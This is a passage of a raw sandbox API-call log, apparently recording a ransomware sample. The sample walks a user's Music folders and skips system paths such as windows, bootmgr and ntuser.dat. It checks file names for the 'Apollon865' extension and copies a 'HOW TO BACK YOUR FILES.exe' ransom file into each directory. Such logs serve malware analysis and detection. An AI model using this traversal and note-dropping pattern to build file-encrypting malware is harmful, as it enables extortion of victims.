	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="Apollon865.txt.exe") returned -1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2=".") returned 1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="..") returned 1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="windows") returned -1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="bootmgr") returned -1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="temp") returned -1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="pagefile.sys") returned -1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="boot") returned -1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="ids.txt") returned -1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="ntuser.dat") returned -1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="perflogs") returned -1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="MSBuild") returned -1
	[0040.400] lstrlenW (lpString="aimL5n1QruhhhoVz9.wav") returned 21
	[0040.400] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*") returned 37
	[0040.400] lstrcpyW (in: lpString1=0x2d3e598, lpString2="aimL5n1QruhhhoVz9.wav" | out: lpString1="aimL5n1QruhhhoVz9.wav") returned="aimL5n1QruhhhoVz9.wav"
	[0040.400] lstrlenW (lpString="aimL5n1QruhhhoVz9.wav") returned 21
	[0040.400] lstrlenW (lpString="Apollon865") returned 10
	[0040.400] lstrcmpiW (lpString1="hhoVz9.wav", lpString2="Apollon865") returned 1
	[0040.400] lstrcpyW (in: lpString1=0x2d3e598, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.400] lstrlenW (lpString="desktop.ini") returned 11
	[0040.401] lstrlenW (lpString="Apollon865") returned 10
	[0040.401] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.401] lstrcpyW (in: lpString1=0x2d3e598, lpString2="H71xA.mp3" | out: lpString1="H71xA.mp3") returned="H71xA.mp3"
	[0040.401] lstrlenW (lpString="H71xA.mp3") returned 9
	[0040.401] lstrlenW (lpString="Apollon865") returned 10
	[0040.401] lstrcpyW (in: lpString1=0x2d3e598, lpString2="r_zrpoqlujHBCG.m4a" | out: lpString1="r_zrpoqlujHBCG.m4a") returned="r_zrpoqlujHBCG.m4a"
	[0040.401] lstrlenW (lpString="r_zrpoqlujHBCG.m4a") returned 18
	[0040.401] lstrlenW (lpString="Apollon865") returned 10
	[0040.401] lstrcmpiW (lpString1="ujHBCG.m4a", lpString2="Apollon865") returned 1
	[0040.401] lstrcpyW (in: lpString1=0x2d3e598, lpString2="ULhWU" | out: lpString1="ULhWU") returned="ULhWU"
	[0040.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0040.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x5983a8
	[0040.401] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0040.401] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96112390, ftCreationTime.dwHighDateTime=0x1d4c996, ftLastAccessTime.dwLowDateTime=0x9d090e90, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x9d090e90, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x1f17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uu20-N2ZT5RSLO6.wav", cAlternateFileName="UU20-N~1.WAV")) returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="Apollon865.txt.exe") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2=".") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="..") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="windows") returned -1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="bootmgr") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="temp") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="pagefile.sys") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="boot") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="ids.txt") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="ntuser.dat") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="perflogs") returned 1
	[0040.401] lstrcmpiW (lpString1="Uu20-N2ZT5RSLO6.wav", lpString2="MSBuild") returned 1
	[0040.401] lstrlenW (lpString="Uu20-N2ZT5RSLO6.wav") returned 19
	[0040.401] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU") returned 41
	[0040.401] lstrcpyW (in: lpString1=0x2d3e598, lpString2="Uu20-N2ZT5RSLO6.wav" | out: lpString1="Uu20-N2ZT5RSLO6.wav") returned="Uu20-N2ZT5RSLO6.wav"
	[0040.401] lstrlenW (lpString="Uu20-N2ZT5RSLO6.wav") returned 19
	[0040.402] lstrlenW (lpString="Apollon865") returned 10
	[0040.402] lstrcmpiW (lpString1="5RSLO6.wav", lpString2="Apollon865") returned -1
	[0040.402] lstrcpyW (in: lpString1=0x2d3e598, lpString2="yMC2DLtUhcYtaEdCiy.m4a" | out: lpString1="yMC2DLtUhcYtaEdCiy.m4a") returned="yMC2DLtUhcYtaEdCiy.m4a"
	[0040.402] lstrlenW (lpString="yMC2DLtUhcYtaEdCiy.m4a") returned 22
	[0040.402] lstrlenW (lpString="Apollon865") returned 10
	[0040.402] lstrcmpiW (lpString1="aEdCiy.m4a", lpString2="Apollon865") returned -1
	[0040.402] lstrcpyW (in: lpString1=0x2d3e598, lpString2="yXk3_kByU" | out: lpString1="yXk3_kByU") returned="yXk3_kByU"
	[0040.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0040.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5590
	[0040.402] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0040.402] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x851dbb0, ftCreationTime.dwHighDateTime=0x1d4c58d, ftLastAccessTime.dwLowDateTime=0xb172da0, ftLastAccessTime.dwHighDateTime=0x1d4c8f8, ftLastWriteTime.dwLowDateTime=0xb172da0, ftLastWriteTime.dwHighDateTime=0x1d4c8f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yXk3_kByU", cAlternateFileName="YXK3_K~1")) returned 0
	[0040.402] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.402] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0040.402] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU"
	[0040.402] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5590 | out: hHeap=0x580000) returned 1
	[0040.402] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0040.402] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU") returned 45
	[0040.402] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU"
	[0040.402] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.402] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.407] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x851dbb0, ftCreationTime.dwHighDateTime=0x1d4c58d, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.407] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.407] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.407] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.407] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x851dbb0, ftCreationTime.dwHighDateTime=0x1d4c58d, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.407] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.407] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.407] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.407] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.407] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c40f00, ftCreationTime.dwHighDateTime=0x1d4d213, ftLastAccessTime.dwLowDateTime=0x742907d0, ftLastAccessTime.dwHighDateTime=0x1d4d2fa, ftLastWriteTime.dwLowDateTime=0x742907d0, ftLastWriteTime.dwHighDateTime=0x1d4d2fa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4mOjK9TTSmSvCmn1hP", cAlternateFileName="4MOJK9~1")) returned 1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="Apollon865.txt.exe") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2=".") returned 1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="..") returned 1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="windows") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="bootmgr") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="temp") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="pagefile.sys") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="boot") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="ids.txt") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="ntuser.dat") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="perflogs") returned -1
	[0040.407] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="MSBuild") returned -1
	[0040.407] lstrlenW (lpString="4mOjK9TTSmSvCmn1hP") returned 18
	[0040.408] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\*") returned 47
	[0040.408] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="4mOjK9TTSmSvCmn1hP" | out: lpString1="4mOjK9TTSmSvCmn1hP") returned="4mOjK9TTSmSvCmn1hP"
	[0040.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0040.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0040.408] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0040.408] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a290, ftCreationTime.dwHighDateTime=0x1d4c9ab, ftLastAccessTime.dwLowDateTime=0x9def5e20, ftLastAccessTime.dwHighDateTime=0x1d4c94a, ftLastWriteTime.dwLowDateTime=0x9def5e20, ftLastWriteTime.dwHighDateTime=0x1d4c94a, nFileSizeHigh=0x0, nFileSizeLow=0x3aa3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4OGtqwJ-D.mp3", cAlternateFileName="4OGTQW~1.MP3")) returned 1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="Apollon865.txt.exe") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2=".") returned 1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="..") returned 1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="windows") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="bootmgr") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="temp") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="pagefile.sys") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="boot") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="ids.txt") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="ntuser.dat") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="perflogs") returned -1
	[0040.408] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="MSBuild") returned -1
	[0040.408] lstrlenW (lpString="4OGtqwJ-D.mp3") returned 13
	[0040.408] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP") returned 64
	[0040.408] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="4OGtqwJ-D.mp3" | out: lpString1="4OGtqwJ-D.mp3") returned="4OGtqwJ-D.mp3"
	[0040.408] lstrlenW (lpString="4OGtqwJ-D.mp3") returned 13
	[0040.408] lstrlenW (lpString="Apollon865") returned 10
	[0040.408] lstrcmpiW (lpString1="tqwJ-D.mp3", lpString2="Apollon865") returned 1
	[0040.408] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="A4JJDXZF6um92en" | out: lpString1="A4JJDXZF6um92en") returned="A4JJDXZF6um92en"
	[0040.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0040.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf898
	[0040.408] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0040.408] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30304150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.408] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.408] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc43bc9a0, ftCreationTime.dwHighDateTime=0x1d4cb03, ftLastAccessTime.dwLowDateTime=0x987325a0, ftLastAccessTime.dwHighDateTime=0x1d4c547, ftLastWriteTime.dwLowDateTime=0x987325a0, ftLastWriteTime.dwHighDateTime=0x1d4c547, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hzmu", cAlternateFileName="")) returned 1
	[0040.408] lstrcmpiW (lpString1="Hzmu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.408] lstrcmpiW (lpString1="Hzmu", lpString2="Apollon865.txt.exe") returned 1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2=".") returned 1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="..") returned 1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="windows") returned -1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="bootmgr") returned 1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="temp") returned -1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="pagefile.sys") returned -1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="boot") returned 1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="ids.txt") returned -1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="ntuser.dat") returned -1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="perflogs") returned -1
	[0040.409] lstrcmpiW (lpString1="Hzmu", lpString2="MSBuild") returned -1
	[0040.409] lstrlenW (lpString="Hzmu") returned 4
	[0040.409] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en") returned 61
	[0040.409] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Hzmu" | out: lpString1="Hzmu") returned="Hzmu"
	[0040.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0040.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x599a78
	[0040.409] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0040.409] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a5f2ca0, ftCreationTime.dwHighDateTime=0x1d4d3c4, ftLastAccessTime.dwLowDateTime=0xb5f9a580, ftLastAccessTime.dwHighDateTime=0x1d4cf2a, ftLastWriteTime.dwLowDateTime=0xb5f9a580, ftLastWriteTime.dwHighDateTime=0x1d4cf2a, nFileSizeHigh=0x0, nFileSizeLow=0xe697, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iYqZqnYSZJSi5_37Zw.mp3", cAlternateFileName="IYQZQN~1.MP3")) returned 1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2=".") returned 1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="..") returned 1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="windows") returned -1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="bootmgr") returned 1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="temp") returned -1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="pagefile.sys") returned -1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="boot") returned 1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="ids.txt") returned 1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="ntuser.dat") returned -1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="perflogs") returned -1
	[0040.409] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="MSBuild") returned -1
	[0040.409] lstrlenW (lpString="iYqZqnYSZJSi5_37Zw.mp3") returned 22
	[0040.409] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu") returned 50
	[0040.409] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="iYqZqnYSZJSi5_37Zw.mp3" | out: lpString1="iYqZqnYSZJSi5_37Zw.mp3") returned="iYqZqnYSZJSi5_37Zw.mp3"
	[0040.409] lstrlenW (lpString="iYqZqnYSZJSi5_37Zw.mp3") returned 22
	[0040.409] lstrlenW (lpString="Apollon865") returned 10
	[0040.410] lstrcmpiW (lpString1="5_37Zw.mp3", lpString2="Apollon865") returned -1
	[0040.410] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="kb0FhgO2.mp3" | out: lpString1="kb0FhgO2.mp3") returned="kb0FhgO2.mp3"
	[0040.410] lstrlenW (lpString="kb0FhgO2.mp3") returned 12
	[0040.410] lstrlenW (lpString="Apollon865") returned 10
	[0040.410] lstrcmpiW (lpString1="0FhgO2.mp3", lpString2="Apollon865") returned -1
	[0040.410] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="klDrs 2" | out: lpString1="klDrs 2") returned="klDrs 2"
	[0040.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0040.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a998
	[0040.410] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0040.410] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc6b3c50, ftCreationTime.dwHighDateTime=0x1d4cc3b, ftLastAccessTime.dwLowDateTime=0x325147e0, ftLastAccessTime.dwHighDateTime=0x1d4d06c, ftLastWriteTime.dwLowDateTime=0x325147e0, ftLastWriteTime.dwHighDateTime=0x1d4d06c, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QgK8ClfNnVG6cWJP-a.wav", cAlternateFileName="QGK8CL~1.WAV")) returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="Apollon865.txt.exe") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2=".") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="..") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="windows") returned -1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="bootmgr") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="temp") returned -1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="pagefile.sys") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="boot") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="ids.txt") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="ntuser.dat") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="perflogs") returned 1
	[0040.410] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="MSBuild") returned 1
	[0040.410] lstrlenW (lpString="QgK8ClfNnVG6cWJP-a.wav") returned 22
	[0040.410] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2") returned 53
	[0040.410] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="QgK8ClfNnVG6cWJP-a.wav" | out: lpString1="QgK8ClfNnVG6cWJP-a.wav") returned="QgK8ClfNnVG6cWJP-a.wav"
	[0040.410] lstrlenW (lpString="QgK8ClfNnVG6cWJP-a.wav") returned 22
	[0040.410] lstrlenW (lpString="Apollon865") returned 10
	[0040.410] lstrcmpiW (lpString1="cWJP-a.wav", lpString2="Apollon865") returned 1
	[0040.410] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="rRkb4EM.mp3" | out: lpString1="rRkb4EM.mp3") returned="rRkb4EM.mp3"
	[0040.410] lstrlenW (lpString="rRkb4EM.mp3") returned 11
	[0040.411] lstrlenW (lpString="Apollon865") returned 10
	[0040.411] lstrcmpiW (lpString1="Rkb4EM.mp3", lpString2="Apollon865") returned 1
	[0040.411] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="RsYZLr9JFlIoDGbuOa6.m4a" | out: lpString1="RsYZLr9JFlIoDGbuOa6.m4a") returned="RsYZLr9JFlIoDGbuOa6.m4a"
	[0040.411] lstrlenW (lpString="RsYZLr9JFlIoDGbuOa6.m4a") returned 23
	[0040.411] lstrlenW (lpString="Apollon865") returned 10
	[0040.411] lstrcmpiW (lpString1="GbuOa6.m4a", lpString2="Apollon865") returned 1
	[0040.411] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="WYOVGq" | out: lpString1="WYOVGq") returned="WYOVGq"
	[0040.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0040.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59aa10
	[0040.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
